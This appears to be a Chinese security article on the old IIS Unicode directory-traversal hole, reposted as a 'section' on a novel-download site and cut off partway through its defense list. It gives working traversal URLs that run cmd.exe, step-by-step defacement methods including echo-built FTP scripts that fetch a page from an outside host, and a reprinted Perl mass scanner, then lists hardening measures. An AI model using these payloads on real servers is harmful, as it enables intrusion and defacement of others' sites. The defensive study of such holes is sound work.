全本小说网,上万本全本小说供您下载阅读。
最新网址:www.shukuge.info

分节阅读 13

作者:翟羽佳
更新时间:2017-10-19 22:00:00
侵者得手的一个漏洞,可以不费吹灰之力将主页改掉,重则删除

    硬盘上的数据,高手甚至获取administrator 权限!

    漏洞自大前年年10 月份公布至今,居然国内还有这么多的服务器存在着该漏洞

    下面我从一般的入侵手法分析如何做相应的防护对策.

    (一)unicode 漏洞的原理

    有关漏洞的原理网上已经有很多相关的文章了,我不打算详细说,还是简单的来了解了解

    好了!

    实际上就是UNICODE 编码存在BUG,在UNICODE 编码中

    %c1%1c -〉(0xc1 - 0xc0) * 0x40 + 0x1c = 0x5c = '/'

    %c0%2f -〉(0xc0 - 0xc0) * 0x40 + 0x2f = 0x2f = '\'

    在NT4 中/编码为%c1%9c .在英文版里:WIN2000 英文版%c0%af

    该漏洞是利用扩展UNICODE 字符取代"/"和"\"而能利用"../"目录遍历,故在一台有

    unicode 漏洞的服务器ip 后边加上/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\就可

    以看到主机上c 盘的所有文件及目录.

    (二)unicode 漏洞的危害

    未经授权的用户可能利用IUSR_machinename 账号的上下文空间访问任何已知的文件。

    该账号在默认情况下属于Everyone 和Users 组的成员,因此任何与Web 根目录在同一逻辑

    驱动器上的能被这些用户组访问的文件都能被删除,修改或执行,就如同一个用户成功登陆

    所能完成的一样。

    以上部分内容摘自绿盟!

    (三)unicode 漏洞的攻击手法

    1、利用漏洞修改主页

    这可能是新手们最兴奋的事情了!每当他们成功地黑掉一个网页后都有一股极大的满足

    感.然而黑网页也是最简单的事情。

    手段描述一:入侵者先用扫描工具扫到有漏洞的主机后,在IE 的地址栏里输入http://主机

    的ip/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\就可以看到主机上c 盘的所有文件

    了.要查主页放在什么地方的话,可以将后边的dir+c:\换成set ,从返回的错误信息中找到

    PATH_TRANSLATED=c:\inetpub\wwwroot 这一句(具体的路径根据具体的情况而定).其中的

    c:\inetpub\wwwroot 就是主页所在的地方!接着入侵者为了避免系统对特殊字符的检测,故将

    本地机器的CMD.EXE 程序复制到主机的c:\inetpub\scripts 目录中,这样干起活来就容易多了!

    他们查到主页的名字后,就可以利用echo 命令来写入信息,将内容覆盖掉主页文件就把主页

    给黑了。

    手段描述二:除了上面的土方法外,入侵者可以将有声有色的黑页替换主页,这样黑得不是

    更爽吗?来看看他们是如何做到的。

    先在本地硬盘建立个共享文件夹(如gale),把黑页复制进去。照样把cmd.exe 拷贝到目标

    的c:\inetpub\scripts 下,名字为gale.exe,映射本地的gale 目录为目标的一个盘(如q:)

    把q:里的复制到目标主机的网页目录去。覆盖对方的网页文件,最后断开映射就可以了.

    这是利用本地共享目录和映射硬盘的方法替换黑页,如果黑页有背景又有音乐,文件很大,上

    传费事,怎么完美一点呢?请看下边。

    手段描述三:这种方法也是红客们黑美国、日本的时候最常用的手法。

    入侵者先申请一个免费空间,把做好的黑页上传上去,然后利用echo 命令在目标主机

    上建立一个文本文件,写上几行命令,如下:

    目标主机ip/scripts/gale.exe?/c+echo+open+你黑页所在的免费空间ip>文本文件名.txt

    目标主机ip/gale.exe?/c+echo+你在黑页空间上的帐户>>文本文件名.txt

    目标主机ip/gale.exe?/c+echo+密码>>文本文件名.txt

    目标主机ip/gale.exe?/c+echo+get+index.htm>>文本文件名.txt

    目标主机ip/gale.exe?/c+echo+bye>>文本文件名.txt

    目标主机ip/gale.exe?/c+ftp+-s:文本文件名.txt

    这样入侵者就可以将黑页从另外一个空间下载到目标主机上,copy 过去覆盖就可以了。

    这样入侵者不受地方的限制,随便什么地方了,比如网吧。

    (四)unicode 漏洞的防护措施

    说了那么多,现在该转入正题了,下面我来说说防范的措施,这也是从攻击中总结出来

    的一些措施,希望对大家有帮助。

    1、打上最新补丁

    作为一个网络管理员,为了服务器的安全,需要不停的打上最新补丁,这是比较有效的

    方法。但你要记住:在网络上,没有绝对的安全的,道高一尺,魔高一丈,完全相信防火墙和系

    统补丁往往是很愚蠢的。

    2、冷酷到底,拒人于千里之外

    相信到现在还利用unicode 漏洞入侵的人都是些新手傻瓜们!他们没有确定的入侵目标,

    只是抓个扫描器来乱扫一通,扫到就黑,扫不到就哭的那种。对付扫描器扫出未知的漏洞,

    这是管理员的聪明之处。如何躲过扫描器的眼睛呢?请先看看下面一个用perl 写的扫描器代

    码吧:

    #!/usr/bin/perl

    #Root Shell Hackers

    #piffy

    #this is a quick scanner i threw together while supposedly doing homework in my room.

    #it will go through a list of sites and check if it gives a directory listing for the new IIS hole

    #it checks for both %c0%af and %c1%9c (其他版本的请修改这样的字符)

    #perhaps a public script to do some evil stuff with this exploit later... h0h0h0

    #werd: all of rsh, 0x7f, hackweiser, rain forest puppy for researching the hole =]

    use strict;

    use LWP::UserAgent;

    use HTTP::Request;

    use HTTP::Response;

    my $def = new LWP::UserAgent;

    my @host;

    print "root shell hackers\n";

    print "iis cmd hole scanner\n";

    print "coded by piffy\n";

    print "\nWhat file contains the hosts: ";

    chop (my $hosts=);

    open(IN, $hosts) || die "\nCould not open $hosts: $!";

    while ()

    {

    $host[$a] = $_;

    chomp $host[$a];

    $a++;

    $b++;

    }

    close(IN);

    $a = 0;

    print "ph34r, scan started";

    while ($a < $b)

    {

    my $url="http://$host[$a]/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ ";

    my $request = new HTTP::Request('GET', $url);

    my $response = $def->request($request);

    if ($response->is_success) {

    print $response->content;

    open(OUT, ">>scaniis.log");

    print OUT "\n$host[$a] : $response->content";

    -close OUT;

    } else {

    print $response->error_as_HTML;

    }

    &second()

    }

    sub second() {

    my $url2="http://$host[$a]/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\ ";

    my $request = new HTTP::Request('GET', $url2);

    my $response = $def->request($request);

    if ($response->is_success) {

    print $response->content;

    open(OUT, ">>scaniis.log");

    print OUT "\n$host[$a] : $response->content";

    -close OUT;

    } else {

    print $response->error_as_HTML;

    }

    $a++;

    }

    代码摘自绿盟。

    不知道大家注意到上面长长的两行$url 和$url2 了没有,其实只是简单的字符串处理而

    已。于是有以下几种方法避过扫描器的扫描:

    ①更改winnt 目录名

    安装winnt 或者win2000 时,缺省目录是c:\winnt.可以把这个目录名改成别的目录名,

    这样扫描器递交"http://$host[$a]/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\"类似的

    url 时就会返回"找不到该页"的信息。这样大部分扫描器就成失灵了。(不知道小榕的流光能

    不能躲得过,但大部分的用perl 写的扫描器经这样改了之后都不起作用了)。

    安装前就可以这样,但是已经安装了,确实不想改winnt/2000 的目录怎么办呢?那好,可以

    看看下边的:

    ②更改cmd.exe 和各常用命令的名称

    更改cmd.exe 的名称也可以达到同样的效果,而且更加可*,假如你只更改winnt/win2000

    所在的目录名的话,别人猜对后仍然可以黑掉你。同时把一些不常用的而且有危害的命令改

    成只有你知道的名字,①和②结合的话更完美!

    ③改变web 目录位置

    通常主页所在的位置是在C:\InetPub\wwwroot 里。在c:\inetpub 里有scripts 之类的目录。

    如果你不需要他们的话,你可以把web 目录转移到别的分区,比如e:\netroot 然后把C:\inetpub

    整个删除掉.日本有一台主机就做的比较好,它的机器明明存在有unicode 漏洞,但将web 目录

    转移到d 盘,并且d 盘是不可写的,有位新手在QQ 上向我抱怨说:"老大!你说的方法不行呀,

    我黑不了!呜呜呜~~",哈!象这样,一般的人就难以修改主页了,(注意:这只能防止一般的人,高

    手只要动动脑筋,照样能黑掉!).

    ④停止不必要的服务

    在internet 服务器中,为了系统的安全,您必须停掉所有的缺省web 目录的服务。然后统统

    删掉,只保留你所要的,以免招来后患.

    ⑤改变服务的端口号

    在保证不影响访问率的情况下,我们可以把web 服务的端口由80 改成别的,比如108。

    因为很多还是利用unicode 漏洞攻击的人一般都是新手,他们都是拿一个扫描工具扫一个ip

    段的,这样做就可以躲避那种扫描一段网段的攻击者的扫描了。(注意:此方法只能防止这种方

    式的扫描,别有用心的攻击者照样可以通过修改扫描器的插件来实行扫描的.但受攻击的可能

    性已经减低.)

    3、限制

友情链接